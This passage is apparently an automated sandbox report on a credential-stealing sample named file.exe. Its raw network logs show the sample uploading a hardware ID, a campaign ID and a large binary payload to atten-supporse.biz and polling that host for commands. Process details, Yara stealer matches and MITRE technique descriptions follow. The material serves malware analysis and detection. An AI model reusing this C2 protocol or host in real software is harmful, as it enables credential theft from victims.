Timestamp	Bytes transferred	Direction	Data
2024-12-10 04:47:15 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=JBUSI24YSVYJL User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 570113 Host: atten-supporse.biz
2024-12-10 04:47:15 UTC	15331	OUT	Data Raw: 2d 2d 4a 42 55 53 49 32 34 59 53 56 59 4a 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 42 41 42 46 37 37 42 44 43 34 33 33 38 42 37 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 4a 42 55 53 49 32 34 59 53 56 59 4a 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4a 42 55 53 49 32 34 59 53 56 59 4a 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 4a 42 55 53 49 Data Ascii: --JBUSI24YSVYJLContent-Disposition: form-data; name="hwid"6BABF77BDC4338B723D904AF30EFEBBC--JBUSI24YSVYJLContent-Disposition: form-data; name="pid"1--JBUSI24YSVYJLContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--JBUSI
2024-12-10 04:47:15 UTC	15331	OUT	Data Raw: f6 52 b5 b3 ad c4 ea da 5b 33 16 e9 fe bc bf 5f 08 82 8f bf 2b cb 5f a9 c1 38 0f 0f ea 79 4b fe 8c f1 ff 42 6a d2 97 3d 3b 11 26 a5 fd 2f bf fb 8f 54 fb 79 fd 72 7f ee cf 0f f4 aa f0 40 76 45 9a ee 2c ba c2 4a 2e b2 1a 77 fe 07 50 9a 1e ff bf db 4d fe ef 03 3c 44 07 e0 cc 14 05 5a 09 84 7e 43 58 b0 f1 41 fb 68 46 4d 26 28 8c 77 12 bd d0 d0 6f 17 92 fd 98 fb 33 46 08 e9 4f 65 bd 4e db 11 00 52 8d b4 60 78 7c b0 17 ec 8c 81 1e 7b 43 fa ae ec 3d 3d cd c1 18 77 5a a3 3c ee f8 aa b3 1c ea 72 85 73 c7 6e db bc 05 d4 12 29 01 e1 f6 51 89 c2 4c 5f f3 d8 43 ed 9c 48 3a 3a 89 eb 75 2f 45 f4 08 e7 7a 3b 0a 02 bf 5f 99 4e ee a7 35 4e 9f a2 73 7b 7e 50 43 75 fb bc 89 0b 9b 34 d1 73 63 62 07 d4 05 65 c3 bf 7d 03 48 04 9f 1a 28 cd 4a 3a e7 9c 8e cd d5 42 1c 39 f4 e9 02 Data Ascii: R[3_+_8yKBj=;&/Tyr@vE,J.wPM<DZ~CXAhFM&(wo3FOeNR`x\|{C==wZ<rsn)QL_CH::u/Ez;_N5Ns{~PCu4scbe}H(J:B9
2024-12-10 04:47:15 UTC	15331	OUT	Data Raw: e5 d1 00 1f 62 c2 a3 95 78 8d 1c d1 bd 0c 4f b1 b9 f6 91 c4 9f 29 55 36 a2 32 f3 3a d4 39 ab 11 6c 8e e2 b2 bf d1 76 6e 08 75 de d0 0f 41 df 25 f8 a4 3a 56 aa 61 e1 97 11 e3 99 7d 49 78 f6 f3 0a 7f 0b 6d 90 56 1a 66 89 a0 e5 15 22 00 5b 0f bb 33 28 cc 7a 00 e8 56 06 ff 9b 64 e7 80 a5 1f 20 b3 10 e4 7e 49 39 78 b6 89 22 c8 75 7b 92 ff df be ed f2 a9 e2 c9 e6 0a 90 00 90 44 de f3 b9 cf 13 07 22 bb 34 64 50 90 00 eb 83 b8 e8 a4 48 07 70 de 09 67 29 8e 48 3b 40 87 42 2f 80 81 c7 d5 4c 8f 62 8b 82 57 cd f9 97 4e dd 9b 87 5d 30 58 93 6d bb 2b bb af 20 6e a8 cb 80 07 98 a5 7b a3 85 69 0e d9 a8 6e 33 38 26 68 36 22 3d 65 48 db 51 c5 58 c6 47 bd f9 ae 9a d0 71 bc c4 47 dc 10 3c f8 30 13 f5 5a a9 58 8f 52 b0 b7 c5 60 67 cf 29 a5 b2 a5 c6 4d 2c 1c f4 f4 a7 77 62 5e Data Ascii: bxO)U62:9lvnuA%:Va}IxmVf"[3(zVd ~I9x"u{D"4dPHpg)H;@B/LbWN]0Xm+ n{in38&h6"=eHQXGqG<0ZXR`g)M,wb^
2024-12-10 04:47:15 UTC	15331	OUT	Data Raw: a9 e1 33 88 8e 51 e8 ce d0 30 5b fd 25 6f c7 4b b8 32 91 3a 91 66 59 a3 9e 12 ee d2 e9 3a 76 69 2b d9 57 a4 1d a3 f1 a7 0f 4b ec e6 78 2a 88 1d 49 4d 63 79 d4 ee 4e f7 70 76 8a d8 21 b2 69 a1 82 7c 55 2b 72 f5 0c 5d 15 b5 63 4f 6a 62 b2 3a 6b 62 66 be 9a 95 c9 20 4f 34 a4 ff c5 85 0f a1 fa 13 bf 6d d9 0f 32 d2 65 c2 2f 97 09 d4 57 6e 31 d7 47 c6 62 66 f8 a9 ed 84 af 0d 67 bf 6e 76 7c d1 d8 77 4b 92 96 ba f4 2a 2d 3d c4 0c 81 80 a0 98 58 99 02 1b c4 85 6b 0b 28 72 18 04 31 65 c0 55 ac ae 24 44 d4 d2 28 50 7f 68 72 fd fc a8 e9 9e a3 a0 97 1f a3 9a ca 31 cf 07 19 14 ea e5 1f a6 15 e1 5f f5 73 4a ff f4 35 d4 b9 fd 41 1e 74 d5 61 3f ac 67 3d db f3 5e 0c 58 5e 01 96 98 b2 8f 80 2a b9 ee ee 7a 20 43 0d 14 c6 ff 99 5e 96 46 cc b4 04 6d 46 c9 2c e8 0a b9 2a 7d 1d Data Ascii: 3Q0[%oK2:fY:vi+WKxIMcyNpv!i\|U+r]cOjb:kbf O4m2e/Wn1Gbfgnv\|wK-=Xk(r1eU$D(Phr1_sJ5Ata?g=^X^z C^FmF,}
2024-12-10 04:47:15 UTC	15331	OUT	Data Raw: ae 56 5b 2e c0 c3 29 33 07 c9 39 55 52 bd bc 6b ec 20 05 3a 8a a2 fb e1 55 42 3c 5e 86 af 24 0f 5f 67 48 13 e8 ba 99 ef cf 8c be 1a 6d c6 84 15 de 56 b9 f8 a8 24 e2 33 5a 77 72 16 99 53 04 17 fe c1 87 40 97 bb 79 a8 d8 d6 8c 2a 01 41 68 0c 53 8e 8e 40 91 55 11 3f 6f 16 98 07 1c 2f 39 ad d1 1c e2 b7 1e 6d 4f 6e b5 e9 fe 02 11 d0 f7 c5 41 c7 af ec 35 a0 1c 4d b9 d7 ea ea 44 5b e9 d4 d5 70 db ea 9b 56 77 56 30 49 af c3 b7 f0 46 e9 ca c0 56 c5 bf 14 c2 80 40 2e 68 d7 06 03 c5 0f ba 66 b8 9b 14 9c 15 80 fc e8 c8 a0 8d c2 f7 16 8e d2 a1 37 f5 56 03 e1 9e 7f 27 33 ec 0b 2d f9 39 76 e0 fa 69 02 16 ed ba c2 0d 29 38 90 00 29 16 21 c2 8f d8 f9 b9 1f 83 c1 dc 84 6b 0b ea d0 52 58 68 64 64 10 39 dc 6f 53 b3 9f 8f 6a d1 dc 14 54 60 4e 5a 38 43 30 3d 71 2a 22 9d a2 5d Data Ascii: V[.)39URk :UB<^$_gHmV$3ZwrS@yAhS@U?o/9mOnA5MD[pVwV0IFV@.hf7V'3-9vi)8)!kRXhdd9oSjT`NZ8C0=q"]
2024-12-10 04:47:15 UTC	15331	OUT	Data Raw: 23 bb 04 e2 28 e7 59 6a 9c 8f 34 e3 5b db a8 ad a9 59 6a 0b 6a 99 66 e7 04 2f a5 47 a5 0b 4c 3e 62 fc ac 46 f4 ff 59 4a 5f 4c a5 95 6b bc a3 4a 68 29 db d6 23 db ac ce 48 45 d1 35 4a e2 57 1c fd 71 cb 8a 7d a2 95 95 62 b6 d2 40 42 b6 88 48 b2 f4 db 89 af 1f 0b 5b 78 25 3f 15 c3 80 5d ab 79 eb db bd f4 5b dc 17 8e 8d b5 61 8c e9 ad 6f 95 f0 34 ae 43 1f 76 e2 78 28 b3 aa 24 1e ca df 57 25 f1 35 44 7c 67 7f fe 53 a8 ce d8 19 57 f7 be 97 e0 4b 3a ea bb d5 ed e6 9c 26 f9 70 4d 12 c5 f8 bb 65 e1 5b 70 c5 96 dd 06 33 c7 32 44 7c 24 ee 12 b8 32 9c 88 fa 48 be 70 7a 22 53 1d 0f cd c6 8c da e6 d4 44 71 dd 23 52 38 1a e7 59 e6 10 42 c8 c8 81 3c 85 cd ba 8b ca 80 b0 36 d8 f5 f3 96 21 3b c3 7d dd 72 c8 55 01 44 1d e9 5d d3 83 86 24 d3 49 6c 8a 0b 8c 7c ae 83 83 dd 33 Data Ascii: #(Yj4[Yjjf/GL>bFYJ_LkJh)#HE5JWq}b@BH[x%?]y[ao4Cvx($W%5D\|gSWK:&pMe[p32D\|$2Hpz"SDq#R8YB<6!;}rUD]$Il\|3
2024-12-10 04:47:15 UTC	15331	OUT	Data Raw: 35 81 d1 cd cd 67 88 76 56 87 dc c0 01 b3 64 43 41 b1 17 62 e0 47 54 96 4a dc 00 43 0b 44 4c ed 2d 3f 8b 03 3b 44 50 b2 81 57 5b b2 8f 9b ca da d3 67 4c 48 77 03 6c 2b 57 b3 97 f3 f4 b3 b8 2b ae db 2f 2f 43 60 7d f6 6f de d9 bf 88 40 c7 00 c9 10 3a dd c9 3d 0f 47 13 38 8b 8f 67 db 89 27 47 4e cf 51 34 71 b7 97 d6 c2 3b 25 2f 9c 71 be 9f 63 81 17 a9 5c 5a be 19 c0 cf b9 2b 77 5b e6 98 90 d5 97 8b 5a cb ce dc ab 8f 1a 3d 75 46 37 93 43 07 7b 46 d0 85 d6 17 7c 6b 6d 72 c7 b7 e4 1f f4 2c 7c 84 90 e2 35 80 62 8d af fd 08 d9 8f 8d b5 d4 69 60 18 da b5 02 b6 a1 b3 c8 ff 2e 41 8c 77 d9 b9 ec 48 15 69 78 2c a3 09 f7 3f d0 c5 04 4c fc 48 cd 19 27 f8 0e c8 0a 06 97 76 23 01 41 b4 39 68 6b 8c 51 07 fc fa c0 7c 67 61 3e 25 b2 49 fa c0 6f ac 1b 5d 23 06 cc 5a 3c f6 c1 Data Ascii: 5gvVdCAbGTJCDL-?;DPW[gLHwl+W+//C`}o@:=G8g'GNQ4q;%/qc\Z+w[Z=uF7C{F\|kmr,\|5bi`.AwHix,?LH'v#A9hkQ\|ga>%Io]#Z<
2024-12-10 04:47:15 UTC	15331	OUT	Data Raw: 35 31 39 ef c6 b2 1d 88 d1 57 d2 82 4c c4 fb 4a a7 cf 37 b8 2a 67 cf 4f a4 9b 38 28 5e 56 7e ae 3f af d6 e1 96 60 5b af 24 1f a1 7b 59 38 89 a7 09 f9 85 36 12 b6 b7 9c 76 99 b4 4c 1c 09 ef c7 07 b9 43 d9 95 ab 6a e5 3f b1 c5 8f 23 c7 ee 9b e9 47 f0 40 6f 86 ba 47 46 54 e9 5f 89 dc cc a0 d2 67 7e 7f 4a bc bf 45 66 a8 06 bd 91 24 d3 7b c5 05 bb 7f 67 da 4a bc 3f 5d 5e 49 4f 11 24 fb 9c fe fd e7 6e 08 08 76 f6 f3 61 c0 23 e5 cc c7 ae c8 ec 44 ea ed 79 4d 76 8d 38 d7 d3 bf ec 49 9d 77 c5 0d 9e 96 c3 ea d1 57 fa 96 c7 4c 21 bb e3 ee f6 d7 b9 ff 7e af 78 1c a5 d1 2d 59 27 08 ef e5 78 33 58 18 dc ad 55 f1 70 fc f9 ad ec 30 e3 48 09 7d d4 6a 6d 2d d2 66 ce ad f9 4e de 5a 0e 22 13 01 46 16 da 31 9a fe 9e 91 87 35 22 fb 32 86 6c 67 d9 b3 3f 44 d4 69 0f c7 c0 e7 f6 Data Ascii: 519WLJ7*gO8(^V~?`[${Y86vLCj?#G@oGFT_g~JEf${gJ?]^IO$nva#DyMv8IwWL!~x-Y'x3XUp0H}jm-fNZ"F15"2lg?Di
2024-12-10 04:47:15 UTC	15331	OUT	Data Raw: 8d 1d 65 3c 50 94 6f ab 21 7a 8c 1d c6 45 ab 76 01 ee e4 7c d4 49 3c 5c 74 bb 63 ae 9e 6d e1 9e 9d 88 3b b0 53 1e 61 be c2 bc c6 83 a8 2a 64 e5 cb 9f e3 a4 91 52 08 89 e3 c2 5f c6 e9 fa 27 8e 8b 68 38 c2 b2 73 57 c7 6c 23 08 a3 b5 02 dc 5b c0 e6 ab b1 04 40 70 de 8c 5a a3 2d 08 b0 8b b7 48 f6 f1 c8 df 6b 27 6d b3 d1 31 6b e1 76 66 f5 77 31 94 b4 0d 4c cc f8 90 2e 46 ab 15 91 90 44 6c 65 22 59 c8 d9 9f 7f e3 e4 87 f9 3e 7e 27 1f 8f 8d 32 a3 30 9f 89 33 ce 61 f3 08 c5 65 5b 89 ca 4b 5f 27 35 db 1b 57 15 75 5e ed a0 a2 22 6e 4b 11 fa c2 df 1d c6 7b 02 d8 5f e4 d0 d1 56 e6 94 7e db cf 56 d2 93 5d 32 f7 cd 55 26 cf f5 e4 92 3b 2a 39 1f 8f e9 d2 48 be 5b a2 9b 6f 0e 74 28 ea 29 e1 13 eb d3 14 ec 30 84 fb df 6a 51 61 d5 17 f1 1e 03 d4 eb 3e 6a cb f0 d7 f6 a3 08 Data Ascii: e<Po!zEv\|I<\tcm;SadR_'h8sWl#[@pZ-Hk'm1kvfw1L.FDle"Y>~'203ae[K_'5Wu^"nK{_V~V]2U&;9H[ot()0jQa>j
2024-12-10 04:47:15 UTC	15331	OUT	Data Raw: d2 cf 5d 80 b7 da 04 20 61 01 e6 9d 7b dc 8b 03 16 b3 a9 8c 22 d1 e1 ac 0b 66 2f ea 01 b5 24 89 5a 2d 06 6e ec b4 cb a9 f7 f2 6a e0 19 93 1d ba 18 f0 bc 53 4c 3e a7 7a 9a e3 f6 a4 b9 f8 08 e7 c6 f7 58 29 78 2f eb 40 6a 8c 04 c0 77 e0 18 38 02 be 1b 05 cb 6e 7d d1 fe d2 c2 cb 74 a6 11 d1 e5 ce 16 97 2c 50 b0 6e 6c a7 70 4b 9e e6 31 60 69 91 dd 50 af b2 16 92 dc 82 24 96 a3 54 7b dc 90 5a ca 4a 7d 54 75 96 aa bc d0 fd 45 17 04 a9 92 03 b6 24 c0 87 75 33 41 43 99 a9 57 c5 7c 79 98 c5 cc e3 d1 1b a7 de 60 af 0c 35 a0 75 b7 e8 21 fd 3d 26 f9 e7 4a 34 93 e0 08 29 d0 db 80 07 c4 7c 80 12 af 3e 40 57 a2 29 25 9b 28 de d4 66 ee 8d 32 12 04 ab f6 6e f5 76 48 96 e0 16 85 d8 60 6c 1e be 63 6b d7 ac 19 2b 55 d4 b5 c0 0c 05 97 27 ef a0 a6 f7 35 2f 89 48 85 4d aa 11 67 Data Ascii: ] a{"f/$Z-njSL>zX)x/@jw8n}t,PnlpK1`iP$T{ZJ}TuE$u3ACW\|y`5u!=&J4)\|>@W)%(f2nvH`lck+U'5/HMg
2024-12-10 04:47:20 UTC	1017	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 04:47:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=j0smsidkcfalk91a45sjcm861f; expires=Fri, 04-Apr-2025 22:33:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=d4s0JH2JR5awxrwG5BIn3LB5zSVw4A5K2eHOfZvZWfQsweijMHJdVU95phdm2T86rXjzTj2FrYgYuxEVCVEDvo1LIr7xlCADGmfHjcit5ga8ctLy0aCxiRLKHhkyREwr2xt9s7Q%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8efa988c6ec88cd7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1828&min_rtt=1793&rtt_var=698&sent=308&recv=591&lost=0&retrans=0&sent_bytes=2845&recv_bytes=572657&delivery_rate=1628555&cwnd=237&unsent_bytes=0&cid=599f9f8c4a65e326&ts=4430&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49716	104.21.16.1	443	5812	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 04:47:21 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: atten-supporse.biz
2024-12-10 04:47:21 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 36 42 41 42 46 37 37 42 44 43 34 33 33 38 42 37 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=6BABF77BDC4338B723D904AF30EFEBBC
2024-12-10 04:47:22 UTC	1017	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 04:47:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1d1iavgp4o6i3nf6soeti4eis1; expires=Fri, 04-Apr-2025 22:34:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JO%2ByCl4SeXdmVKm3Rfhd4R9AMRzknTqivTZiEPO3mjVDkvwZ4PqfU0I%2FdJktO8dze4RRKQsKWO5nD%2F3qBkgUjw3eOdMXqRD1zfope3MdDYOTKXbIQawEG%2Bbl5jGxI6oAw1esg4E%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8efa98b0cb7042f5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1573&min_rtt=1564&rtt_var=604&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2847&recv_bytes=990&delivery_rate=1783750&cwnd=195&unsent_bytes=0&cid=85a251d29e68bd74&ts=718&x=0"
2024-12-10 04:47:22 UTC	214	IN	Data Raw: 64 30 0d 0a 4a 33 47 59 2b 62 79 6a 33 79 65 5a 54 4e 6d 6e 79 38 71 30 6e 4d 78 62 70 52 34 4a 30 32 4d 63 45 56 64 77 43 4f 73 50 32 75 78 38 43 72 71 4d 6e 70 6e 39 54 2b 30 34 71 5a 32 58 35 65 69 7a 2f 57 4f 51 4d 44 76 69 56 6a 49 67 5a 6b 4d 6d 32 6a 6d 47 77 30 67 58 2f 71 57 54 78 37 70 42 74 79 6d 68 77 75 6e 6d 6c 76 71 34 65 5a 38 75 4a 66 45 47 50 69 74 6d 44 53 53 51 4c 61 2f 4f 48 56 50 77 6a 63 6a 54 35 58 75 32 45 50 61 57 38 2f 2b 61 72 76 31 75 69 79 38 34 34 45 30 74 4a 77 74 66 65 35 39 71 75 34 46 37 58 75 71 59 30 73 65 77 53 72 63 70 6f 63 4c 70 35 70 62 36 75 48 6d 66 4c 69 58 78 42 6a 34 72 5a 77 31 56 0d 0a Data Ascii: d0J3GY+byj3yeZTNmny8q0nMxbpR4J02McEVdwCOsP2ux8CrqMnpn9T+04qZ2X5eiz/WOQMDviVjIgZkMm2jmGw0gX/qWTx7pBtymhwunmlvq4eZ8uJfEGPitmDSSQLa/OHVPwjcjT5Xu2EPaW8/+arv1uiy844E0tJwtfe59qu4F7XuqY0sewSrcpocLp5pb6uHmfLiXxBj4rZw1V
2024-12-10 04:47:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	23:46:57
Start date:	09/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xb90000
File size:	1'899'008 bytes
MD5 hash:	779642924BB418C018837EB3E49BA53F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2158368253.00000000011D6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2160138342.00000000011D7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2131989417.00000000011D6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2085113656.00000000011D6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2157912087.00000000011D6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2132556482.000000000117D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2160226481.0000000001182000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2158368253.000000000117E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2131989417.000000000117D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2157912087.000000000117D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2132556482.00000000011D6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2108745068.00000000011D6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2160312478.0000000001183000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	23:47:32
Start date:	09/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	23:47:32
Start date:	09/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2076 --field-trial-handle=1980,i,9850134868156104095,2027123724465788591,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	23:47:35
Start date:	09/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	23:47:35
Start date:	09/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1160 --field-trial-handle=2008,i,16001316125916077205,5372674781634389717,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

